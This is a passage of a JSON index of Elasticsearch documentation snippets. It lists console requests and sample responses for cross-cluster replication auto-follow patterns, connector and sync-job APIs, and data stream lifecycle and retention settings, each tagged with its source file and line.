\"max_read_request_size\" : \"1024k\",\n \"max_write_request_operation_count\" : 32768,\n \"max_write_request_size\" : \"16k\",\n \"max_outstanding_write_requests\" : 8,\n \"max_write_buffer_count\" : 512,\n \"max_write_buffer_size\" : \"512k\",\n \"max_retry_delay\" : \"10s\",\n \"read_poll_timeout\" : \"30s\"\n}"}, {"source_location":{"file":"ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc","line":142},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ccr/apis/auto-follow/delete-auto-follow-pattern.asciidoc","line":33},"digest":"2f2580ea420e1836d922fe48fa8ada97","lang":"console","found":[],"source":"DELETE /_ccr/auto_follow/"}, {"source_location":{"file":"ccr/apis/auto-follow/delete-auto-follow-pattern.asciidoc","line":69},"digest":"d4ef6ac034c4d42cb75d830ec69146e6","lang":"console","found":["ruby"],"source":"DELETE /_ccr/auto_follow/my_auto_follow_pattern"}, {"source_location":{"file":"ccr/apis/auto-follow/delete-auto-follow-pattern.asciidoc","line":77},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc","line":44},"digest":"5e124875d97c27362ae858160ae1c6d5","lang":"console","found":["ruby"],"source":"GET /_ccr/auto_follow/"}, {"source_location":{"file":"ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc","line":49},"digest":"d56a9d89282df56adbbc34b91390ac17","lang":"console","found":[],"source":"GET /_ccr/auto_follow/"}, {"source_location":{"file":"ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc","line":87},"digest":"79f33e05b203eb46eef7958fbc95ef77","lang":"console","found":["ruby"],"source":"GET /_ccr/auto_follow/my_auto_follow_pattern"}, {"source_location":{"file":"ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc","line":95},"digest":"33ae5e9b7711813adc3c8f90230f372c","lang":"console-result","found":[],"source":"{\n \"patterns\": [\n {\n \"name\": \"my_auto_follow_pattern\",\n \"pattern\": {\n \"active\": true,\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index_patterns\" :\n [\n \"leader_index*\"\n ],\n \"leader_index_exclusion_patterns\":\n [\n \"leader_index_001\"\n ],\n \"follow_index_pattern\" : \"{{leader_index}}-follower\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ccr/apis/auto-follow/pause-auto-follow-pattern.asciidoc","line":79},"digest":"b25256ed615cd837461b0bfa590526b7","lang":"console","found":["ruby"],"source":"POST /_ccr/auto_follow/my_auto_follow_pattern/pause"}, {"source_location":{"file":"ccr/apis/auto-follow/pause-auto-follow-pattern.asciidoc","line":87},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ccr/apis/auto-follow/resume-auto-follow-pattern.asciidoc","line":80},"digest":"f2e854b6c99659ccc1824e86c096e433","lang":"console","found":["ruby"],"source":"POST /_ccr/auto_follow/my_auto_follow_pattern/resume"}, {"source_location":{"file":"ccr/apis/auto-follow/resume-auto-follow-pattern.asciidoc","line":88},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"connector/apis/cancel-connector-sync-job-api.asciidoc","line":48},"digest":"9b0f34d122a4b348dc86df7410d6ebb6","lang":"console","found":["ruby"],"source":"PUT _connector/_sync_job/my-connector-sync-job-id/_cancel"}, {"source_location":{"file":"connector/apis/check-in-connector-api.asciidoc","line":66},"digest":"d03139a851888db53f8b7affd85eb495","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_check_in"}, {"source_location":{"file":"connector/apis/check-in-connector-api.asciidoc","line":71},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/check-in-connector-sync-job-api.asciidoc","line":47},"digest":"365256ebdfa47b449780771d9beba8d9","lang":"console","found":["ruby"],"source":"PUT _connector/_sync_job/my-connector-sync-job/_check_in"}, {"source_location":{"file":"connector/apis/create-connector-api.asciidoc","line":18},"digest":"342ddf9121aeddd82fea2464665e25da","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector\n{\n \"index_name\": \"search-google-drive\",\n \"name\": \"My Connector\",\n \"service_type\": \"google_drive\"\n}"}, {"source_location":{"file":"connector/apis/create-connector-api.asciidoc","line":109},"digest":"ce13afc0c976c5e1f424b58e0c97fd64","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector\n{\n \"index_name\": \"search-google-drive\",\n \"name\": \"My Connector\",\n \"description\": \"My Connector to sync data to Elastic index from Google Drive\",\n \"service_type\": \"google_drive\",\n \"language\": \"english\"\n}"}, {"source_location":{"file":"connector/apis/create-connector-api.asciidoc","line":124},"digest":"3bdcff0ec188e1b176eaa08c49eb5244","lang":"console-result","found":[],"source":"{\n \"result\": \"created\"\n}"}, {"source_location":{"file":"connector/apis/create-connector-sync-job-api.asciidoc","line":13},"digest":"405ac843a9156d3cab374e199cac87fb","lang":"console","found":["ruby"],"source":"POST _connector/_sync_job\n{\n \"id\": \"connector-id\",\n \"job_type\": \"full\",\n \"trigger_method\": \"on_demand\"\n}"}, {"source_location":{"file":"connector/apis/delete-connector-api.asciidoc","line":57},"digest":"98f83f0dc4634e108ab0db6db347b2c7","lang":"console","found":["ruby"],"source":"DELETE _connector/my-connector"}, {"source_location":{"file":"connector/apis/delete-connector-api.asciidoc","line":62},"digest":"581fbd443376ef07072018020e700289","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"connector/apis/delete-connector-sync-job-api.asciidoc","line":43},"digest":"370b297ed3433577adf53e64f572d89d","lang":"console","found":["ruby"],"source":"DELETE _connector/_sync_job/my-connector-sync-job-id"}, {"source_location":{"file":"connector/apis/delete-connector-sync-job-api.asciidoc","line":49},"digest":"581fbd443376ef07072018020e700289","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"connector/apis/get-connector-api.asciidoc","line":62},"digest":"f2a5f77f929cc7b893b80f4bd5b1a192","lang":"console","found":["ruby"],"source":"GET _connector/my-connector"}, {"source_location":{"file":"connector/apis/get-connector-sync-job-api.asciidoc","line":42},"digest":"f785b5d17eb59f8d2a353c2dee66eb5b","lang":"console","found":["ruby"],"source":"GET _connector/_sync_job/my-connector-sync-job"}, {"source_location":{"file":"connector/apis/list-connectors-api.asciidoc","line":76},"digest":"a960b43e720b4934edb74ab4b085ca77","lang":"console","found":["ruby"],"source":"GET _connector"}, {"source_location":{"file":"connector/apis/list-connectors-api.asciidoc","line":83},"digest":"cb0f3eea39612a694d47a57aee93956f","lang":"console","found":["ruby"],"source":"GET _connector/?from=0&size=2"}, {"source_location":{"file":"connector/apis/list-connectors-api.asciidoc","line":90},"digest":"2212167f67b7ad1cd2b8dcec083d09ea","lang":"console","found":[],"source":"GET _connector/?index_name=search-google-drive"}, {"source_location":{"file":"connector/apis/list-connectors-api.asciidoc","line":98},"digest":"f1cfc64c119b0a30376221d8f23cdd45","lang":"console","found":[],"source":"GET _connector/?service_type=sharepoint_online"}, {"source_location":{"file":"connector/apis/list-connectors-api.asciidoc","line":105},"digest":"c0220f749b260889bebc567533a01c3f","lang":"console","found":[],"source":"GET _connector/?service_type=sharepoint_online,google_drive"}, {"source_location":{"file":"connector/apis/list-connector-sync-jobs-api.asciidoc","line":48},"digest":"cdce7bc083dfb36e6f1d465a5c9d5049","lang":"console","found":["ruby"],"source":"GET _connector/_sync_job"}, {"source_location":{"file":"connector/apis/list-connector-sync-jobs-api.asciidoc","line":56},"digest":"33d480fc6812ada75756cf5337bc9092","lang":"console","found":["ruby"],"source":"GET _connector/_sync_job?from=0&size=2"}, {"source_location":{"file":"connector/apis/list-connector-sync-jobs-api.asciidoc","line":63},"digest":"6b8c5c8145c287c4fc535fa57ccf95a7","lang":"console","found":["ruby"],"source":"GET _connector/_sync_job?status=pending"}, {"source_location":{"file":"connector/apis/list-connector-sync-jobs-api.asciidoc","line":70},"digest":"c12d6e962f083c728f9397932f05202e","lang":"console","found":["ruby"],"source":"GET _connector/_sync_job?connector_id=connector-1"}, {"source_location":{"file":"connector/apis/list-connector-sync-jobs-api.asciidoc","line":77},"digest":"2b1c560f00d9bcf5caaf56c03f6b5962","lang":"console","found":[],"source":"GET _connector/_sync_job?job_type=full,incremental"}, {"source_location":{"file":"connector/apis/set-connector-sync-job-error-api.asciidoc","line":54},"digest":"8bf1e7a6d529547906ba8b1d6501fa0c","lang":"console","found":["ruby"],"source":"PUT _connector/_sync_job/my-connector-sync-job/_error\n{\n \"error\": \"some-error\"\n}"}, {"source_location":{"file":"connector/apis/set-connector-sync-job-stats-api.asciidoc","line":69},"digest":"90083d93e46fad2524755b8d4d1306fc","lang":"console","found":["ruby"],"source":"PUT _connector/_sync_job/my-connector-sync-job/_stats\n{\n \"deleted_document_count\": 10,\n \"indexed_document_count\": 20,\n \"indexed_document_volume\": 1000,\n \"total_document_count\": 2000,\n \"last_seen\": \"2023-01-02T10:00:00Z\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-api-key-id-api.asciidoc","line":84},"digest":"04412d11783dac25b5fd2ec5407078a3","lang":"console","found":[],"source":"PUT _connector/my-connector/_api_key_id\n{\n \"api_key_id\": \"my-api-key-id\",\n \"api_key_secret_id\": \"my-connector-secret-id\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-api-key-id-api.asciidoc","line":93},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-configuration-api.asciidoc","line":166},"digest":"394d8fc4d78214e6fe5e4dea62c8923f","lang":"console","found":[],"source":"PUT _connector/my-spo-connector/_configuration\n{\n \"configuration\": {\n \"client_id\": {\n \"default_value\": null,\n \"depends_on\": [],\n \"display\": \"text\",\n \"label\": \"Client ID\",\n \"options\": [],\n \"order\": 3,\n \"required\": true,\n \"sensitive\": false,\n \"tooltip\": null,\n \"type\": \"str\",\n \"ui_restrictions\": [],\n \"validations\": [],\n \"value\": null\n },\n \"secret_value\": {\n \"default_value\": null,\n \"depends_on\": [],\n \"display\": \"text\",\n \"label\": \"Secret value\",\n \"options\": [],\n \"order\": 4,\n \"required\": true,\n \"sensitive\": true,\n \"tooltip\": null,\n \"type\": \"str\",\n \"ui_restrictions\": [],\n \"validations\": [],\n \"value\": null\n }\n }\n}"}, {"source_location":{"file":"connector/apis/update-connector-configuration-api.asciidoc","line":205},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-configuration-api.asciidoc","line":214},"digest":"f245c4f1f79fb2f6f968278990c2b9dd","lang":"console","found":[],"source":"PUT _connector/my-spo-connector/_configuration\n{\n \"values\": {\n \"client_id\": \"my-client-id\",\n \"secret_value\": \"super-secret-value\"\n }\n}"}, {"source_location":{"file":"connector/apis/update-connector-configuration-api.asciidoc","line":225},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-configuration-api.asciidoc","line":235},"digest":"e6eb414f623566119d4db131a7677a7a","lang":"console","found":[],"source":"PUT _connector/my-spo-connector/_configuration\n{\n \"values\": {\n \"secret_value\": \"new-super-secret-value\"\n }\n}"}, {"source_location":{"file":"connector/apis/update-connector-configuration-api.asciidoc","line":245},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-error-api.asciidoc","line":73},"digest":"ecfd0d94dd14ef05dfa861f22544b388","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_error\n{\n \"error\": \"Houston, we have a problem!\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-error-api.asciidoc","line":81},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-filtering-api.asciidoc","line":124},"digest":"c4e29dde9a3e497c69aec02b61c0d322","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_filtering\n{\n \"filtering\": [\n {\n \"active\": {\n \"advanced_snippet\": {\n \"created_at\": \"2023-11-09T15:13:08.231Z\",\n \"updated_at\": \"2023-11-09T15:13:08.231Z\",\n \"value\": {}\n },\n \"rules\": [\n {\n \"created_at\": \"2023-11-09T15:13:08.231Z\",\n \"field\": \"_\",\n \"id\": \"DEFAULT\",\n \"order\": 0,\n \"policy\": \"include\",\n \"rule\": \"regex\",\n \"updated_at\": \"2023-11-09T15:13:08.231Z\",\n \"value\": \".*\"\n }\n ],\n \"validation\": {\n \"errors\": [],\n \"state\": \"valid\"\n }\n },\n \"domain\": \"DEFAULT\",\n \"draft\": {\n \"advanced_snippet\": {\n \"created_at\": \"2023-11-09T15:13:08.231Z\",\n \"updated_at\": \"2023-11-09T15:13:08.231Z\",\n \"value\": {}\n },\n \"rules\": [\n {\n \"created_at\": \"2023-11-09T15:13:08.231Z\",\n \"field\": \"_\",\n \"id\": \"DEFAULT\",\n \"order\": 0,\n \"policy\": \"include\",\n \"rule\": \"regex\",\n \"updated_at\": \"2023-11-09T15:13:08.231Z\",\n \"value\": \".*\"\n }\n ],\n \"validation\": {\n \"errors\": [],\n \"state\": \"valid\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"connector/apis/update-connector-filtering-api.asciidoc","line":182},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-index-name-api.asciidoc","line":73},"digest":"6606d46685d10377b996b5f20f1229b5","lang":"console","found":[],"source":"PUT _connector/my-connector/_index_name\n{\n \"index_name\": \"data-from-my-google-drive\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-index-name-api.asciidoc","line":81},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-last-sync-api.asciidoc","line":113},"digest":"640621cea39cdeeb76fbc95bff31a18d","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_last_sync\n{\n \"last_access_control_sync_error\": \"Houston, we have a problem!\",\n \"last_access_control_sync_scheduled_at\": \"2023-11-09T15:13:08.231Z\",\n \"last_access_control_sync_status\": \"pending\",\n \"last_deleted_document_count\": 42,\n \"last_incremental_sync_scheduled_at\": \"2023-11-09T15:13:08.231Z\",\n \"last_indexed_document_count\": 42,\n \"last_sync_error\": \"Houston, we have a problem!\",\n \"last_sync_scheduled_at\": \"2024-11-09T15:13:08.231Z\",\n \"last_sync_status\": \"completed\",\n \"last_synced\": \"2024-11-09T15:13:08.231Z\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-last-sync-api.asciidoc","line":130},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-name-description-api.asciidoc","line":77},"digest":"c00c9412609832ebceb9e786dd9542df","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_name\n{\n \"name\": \"Custom connector\",\n \"description\": \"This is my customized connector\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-name-description-api.asciidoc","line":86},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-pipeline-api.asciidoc","line":85},"digest":"41175d304e660da2931764f9a4418fd3","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_pipeline\n{\n \"pipeline\": {\n \"extract_binary_content\": true,\n \"name\": \"my-connector-pipeline\",\n \"reduce_whitespace\": true,\n \"run_ml_inference\": true\n }\n}"}, {"source_location":{"file":"connector/apis/update-connector-pipeline-api.asciidoc","line":98},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-scheduling-api.asciidoc","line":87},"digest":"8e89fee0be6a436c4e3d7c152659c47e","lang":"console","found":["ruby"],"source":"PUT _connector/my-connector/_scheduling\n{\n \"scheduling\": {\n \"access_control\": {\n \"enabled\": true,\n \"interval\": \"0 10 0 * * ?\"\n },\n \"full\": {\n \"enabled\": true,\n \"interval\": \"0 20 0 * * ?\"\n },\n \"incremental\": {\n \"enabled\": false,\n \"interval\": \"0 30 0 * * ?\"\n }\n }\n}"}, {"source_location":{"file":"connector/apis/update-connector-scheduling-api.asciidoc","line":108},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-service-type-api.asciidoc","line":75},"digest":"c21eb4bc30087188241cbba6b6b89999","lang":"console","found":[],"source":"PUT _connector/my-connector/_service_type\n{\n \"service_type\": \"sharepoint_online\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-service-type-api.asciidoc","line":83},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-status-api.asciidoc","line":73},"digest":"430705509f8367aef92be413f702520b","lang":"console","found":[],"source":"PUT _connector/my-connector/_status\n{\n \"status\": \"needs_configuration\"\n}"}, {"source_location":{"file":"connector/apis/update-connector-status-api.asciidoc","line":81},"digest":"936e7bf4cf257af15d98a2e152f94a52","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\"\n}"}, {"source_location":{"file":"indices/create-data-stream.asciidoc","line":22},"digest":"e51a86b666f447cda5f634547a8e1a4a","lang":"console","found":["ruby"],"source":"PUT /_data_stream/my-data-stream"}, {"source_location":{"file":"indices/delete-data-stream.asciidoc","line":26},"digest":"f823e4b87ed181b27f73ebc51351f0ee","lang":"console","found":["ruby"],"source":"DELETE /_data_stream/my-data-stream"}, {"source_location":{"file":"indices/get-data-stream.asciidoc","line":71},"digest":"3337c817ebd438254505a31e91c91724","lang":"console","found":["ruby"],"source":"GET /_data_stream/my-data-stream"}, {"source_location":{"file":"indices/get-data-stream.asciidoc","line":276},"digest":"200f6d4cc7b9c300b8962a119e03873f","lang":"console","found":["ruby"],"source":"GET _data_stream/my-data-stream*"}, {"source_location":{"file":"indices/get-data-stream.asciidoc","line":283},"digest":"70bcc36ad17ae5d57b97759fef621838","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"my-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-my-data-stream-2099.03.07-000001\",\n \"index_uuid\": \"xCEhwsp8Tey0-FLNFYVwSg\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"my-lifecycle-policy\",\n \"managed_by\": \"Index Lifecycle Management\"\n },\n {\n \"index_name\": \".ds-my-data-stream-2099.03.08-000002\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8DJ5gw\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"my-lifecycle-policy\",\n \"managed_by\": \"Index Lifecycle Management\"\n }\n ],\n \"generation\": 2,\n \"_meta\": {\n \"my-meta-field\": \"foo\"\n },\n \"status\": \"GREEN\",\n \"next_generation_managed_by\": \"Index Lifecycle Management\",\n \"prefer_ilm\": true,\n \"template\": \"my-index-template\",\n \"ilm_policy\": \"my-lifecycle-policy\",\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n },\n {\n \"name\": \"my-data-stream-two\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-my-data-stream-two-2099.03.08-000001\",\n \"index_uuid\": \"3liBu2SYS5axasRt6fUIpA\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"my-lifecycle-policy\",\n \"managed_by\": \"Index Lifecycle Management\"\n }\n ],\n \"generation\": 1,\n \"_meta\": {\n \"my-meta-field\": \"foo\"\n },\n \"status\": \"YELLOW\",\n \"next_generation_managed_by\": \"Index Lifecycle Management\",\n \"prefer_ilm\": true,\n \"template\": \"my-index-template\",\n \"ilm_policy\": \"my-lifecycle-policy\",\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n }\n ]\n}"}, {"source_location":{"file":"indices/migrate-to-data-stream.asciidoc","line":53},"digest":"563dfbf421422c837ee6929ae2ede876","lang":"console","found":[],"source":"POST /_data_stream/_migrate/my-logs"}, {"source_location":{"file":"indices/data-stream-stats.asciidoc","line":51},"digest":"fc190fbbf71949331266dcb3f46a1198","lang":"console","found":["ruby"],"source":"GET /_data_stream/my-data-stream/_stats"}, {"source_location":{"file":"indices/data-stream-stats.asciidoc","line":176},"digest":"fccbddfba9f975de7e321732874dfb78","lang":"console","found":["ruby"],"source":"GET /_data_stream/my-data-stream*/_stats?human=true"}, {"source_location":{"file":"indices/data-stream-stats.asciidoc","line":183},"digest":"c24c8a5a56dfdeae85b95a3ae1e48644","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 10,\n \"successful\": 5,\n \"failed\": 0\n },\n \"data_stream_count\": 2,\n \"backing_indices\": 5,\n \"total_store_size\": \"7kb\",\n \"total_store_size_bytes\": 7268,\n \"data_streams\": [\n {\n \"data_stream\": \"my-data-stream\",\n \"backing_indices\": 3,\n \"store_size\": \"3.7kb\",\n \"store_size_bytes\": 3772,\n \"maximum_timestamp\": 1607512028000\n },\n {\n \"data_stream\": \"my-data-stream-two\",\n \"backing_indices\": 2,\n \"store_size\": \"3.4kb\",\n \"store_size_bytes\": 3496,\n \"maximum_timestamp\": 1607425567000\n }\n ]\n}"}, {"source_location":{"file":"data-streams/promote-data-stream-api.asciidoc","line":22},"digest":"e4b6a6a921c97b4c0bbe97bd89f4cf33","lang":"console","found":["ruby"],"source":"POST /_data_stream/_promote/my-data-stream"}, {"source_location":{"file":"data-streams/modify-data-streams-api.asciidoc","line":11},"digest":"51f1a0930362594b231a5bcc17673768","lang":"console","found":[],"source":"POST _data_stream/_modify\n{\n \"actions\": [\n {\n \"remove_backing_index\": {\n \"data_stream\": \"my-logs\",\n \"index\": \".ds-my-logs-2099.01.01-000001\"\n }\n },\n {\n \"add_backing_index\": {\n \"data_stream\": \"my-logs\",\n \"index\": \"index-to-add\"\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/put-lifecycle.asciidoc","line":80},"digest":"cd67ad2c09fafef2d441c3502d0bb3d7","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-data-stream/_lifecycle\n{\n \"data_retention\": \"7d\"\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/put-lifecycle.asciidoc","line":92},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/put-lifecycle.asciidoc","line":107},"digest":"e2a753029b450942a3228e3003a55a7d","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-weather-sensor-data-stream/_lifecycle\n{\n \"downsampling\": [\n {\n \"after\": \"1d\",\n \"fixed_interval\": \"10m\"\n },\n {\n \"after\": \"7d\",\n \"fixed_interval\": \"1d\"\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/get-lifecycle.asciidoc","line":119},"digest":"9fda516a5dc60ba477b970eaad4429db","lang":"console","found":["ruby"],"source":"GET _data_stream/my-data-stream*/_lifecycle"}, {"source_location":{"file":"data-streams/lifecycle/apis/get-lifecycle.asciidoc","line":126},"digest":"0341aa888f5bcfbec19dad27793ad783","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"my-data-stream-1\",\n \"lifecycle\": {\n \"enabled\": true,\n \"data_retention\": \"7d\",\n \"effective_retention\": \"7d\",\n \"retention_determined_by\": \"data_stream_configuration\"\n }\n },\n {\n \"name\": \"my-data-stream-2\",\n \"lifecycle\": {\n \"enabled\": true,\n \"data_retention\": \"7d\",\n \"effective_retention\": \"7d\",\n \"retention_determined_by\": \"data_stream_configuration\"\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/delete-lifecycle.asciidoc","line":79},"digest":"6fe6c095c6995e0f2214f5f3bc85d74e","lang":"console","found":["ruby"],"source":"DELETE _data_stream/my-data-stream/_lifecycle"}, {"source_location":{"file":"data-streams/lifecycle/apis/delete-lifecycle.asciidoc","line":86},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/explain-lifecycle.asciidoc","line":52},"digest":"35be136ba9df7474a5521631e2a385b1","lang":"console","found":["ruby"],"source":"GET .ds-metrics-2023.03.22-000001/_lifecycle/explain"}, {"source_location":{"file":"data-streams/lifecycle/apis/explain-lifecycle.asciidoc","line":62},"digest":"6046fb327c6c982ca082c2bf1e21fe2e","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \".ds-metrics-2023.03.22-000001\": {\n \"index\" : \".ds-metrics-2023.03.22-000001\",\n \"managed_by_lifecycle\" : true, <1>\n \"index_creation_date_millis\" : 1679475563571, <2>\n \"time_since_index_creation\" : \"843ms\", <3>\n \"rollover_date_millis\" : 1679475564293, <4>\n \"time_since_rollover\" : \"121ms\", <5>\n \"lifecycle\" : { }, <6>\n \"generation_time\" : \"121ms\" <7>\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/explain-lifecycle.asciidoc","line":101},"digest":"b4bec3a4279978704d20daf0156e1eae","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \".ds-metrics-2023.03.22-000001\": {\n \"index\" : \".ds-metrics-2023.03.22-000001\",\n \"managed_by_lifecycle\" : true,\n \"index_creation_date_millis\" : 1679475563571,\n \"time_since_index_creation\" : \"843ms\",\n \"lifecycle\" : {\n \"enabled\": true\n },\n \"error\": \"{\\\"type\\\":\\\"validation_exception\\\",\\\"reason\\\":\\\"Validation Failed: 1: this action would add [2] shards, but this cluster\ncurrently has [4]/[3] maximum normal shards open;\\\"}\" <1>\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/get-lifecycle-stats.asciidoc","line":65},"digest":"615dc36f0978c676624fb7d1144b4899","lang":"console","found":[],"source":"GET _lifecycle/stats?human&pretty"}, {"source_location":{"file":"data-streams/lifecycle/apis/get-lifecycle-stats.asciidoc","line":73},"digest":"d5e888391ab48b0411305693548f7c66","lang":"console-result","found":[],"source":"{\n \"last_run_duration_in_millis\": 2,\n \"last_run_duration\": \"2ms\",\n \"time_between_starts_in_millis\": 9998,\n \"time_between_starts\": \"9.99s\",\n \"data_streams_count\": 2,\n \"data_streams\": [\n {\n \"name\": \"my-data-stream\",\n \"backing_indices_in_total\": 2,\n \"backing_indices_in_error\": 0\n },\n {\n \"name\": \"my-other-stream\",\n \"backing_indices_in_total\": 2,\n \"backing_indices_in_error\": 1\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/put-global-retention.asciidoc","line":108},"digest":"2599ec473daa0d012804370e98c4e57c","lang":"console","found":[],"source":"PUT _data_stream/_global_retention\n{\n \"default_retention\": \"7d\",\n \"max_retention\": \"90d\"\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/put-global-retention.asciidoc","line":119},"digest":"35a129aab78b2d0f290b468c515e12ed","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"dry_run\": false,\n \"affected_data_streams\": [\n {\n \"name\": \"my-data-stream\",\n \"previous_effective_retention\": \"infinite\",\n \"new_effective_retention\": \"7d\"\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/get-global-retention.asciidoc","line":75},"digest":"9e1e058d42774b90ea7e243e85dd582d","lang":"console","found":[],"source":"GET _data_stream/_global_retention"}, {"source_location":{"file":"data-streams/lifecycle/apis/get-global-retention.asciidoc","line":82},"digest":"88d9572d21dcaf463af0839ba280a986","lang":"console-result","found":[],"source":"{\n \"default_retention\": \"7d\", <1>\n \"max_retention\": \"90d\" <2>\n}"}, {"source_location":{"file":"data-streams/lifecycle/apis/delete-global-retention.asciidoc","line":102},"digest":"618a195b94fa25e2a1b6eefc337ae9e8","lang":"console","found":[],"source":"DELETE _data_stream/_global_retention"}, {"source_location":{"file":"data-streams/lifecycle/apis/delete-global-retention.asciidoc","line":109},"digest":"de577ab81afac37b64a282303a8ec2bd","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"dry_run\": false,\n \"affected_data_streams\": [\n {\n \"name\": \"my-data-stream\",\n \"previous_effective_retention\": \"7d\",\n \"new_effective_retention\": \"infinite\"\n }\n ]\n}"}, {"source_location":{"file":"indices/downsample-data-stream.asciidoc","line":59},"digest":"424fbf082cd4affb84439abfc916b597","lang":"console","found":["ruby"],"source":"POST /my-time-series-index/_downsample/my-downsampled-time-series-index\n{\n \"fixed_interval\": \"1d\"\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":227},"digest":"2fa45d74ba9933188c4728f8a9e5372c","lang":"console","found":["python","ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"action.auto_create_index\": 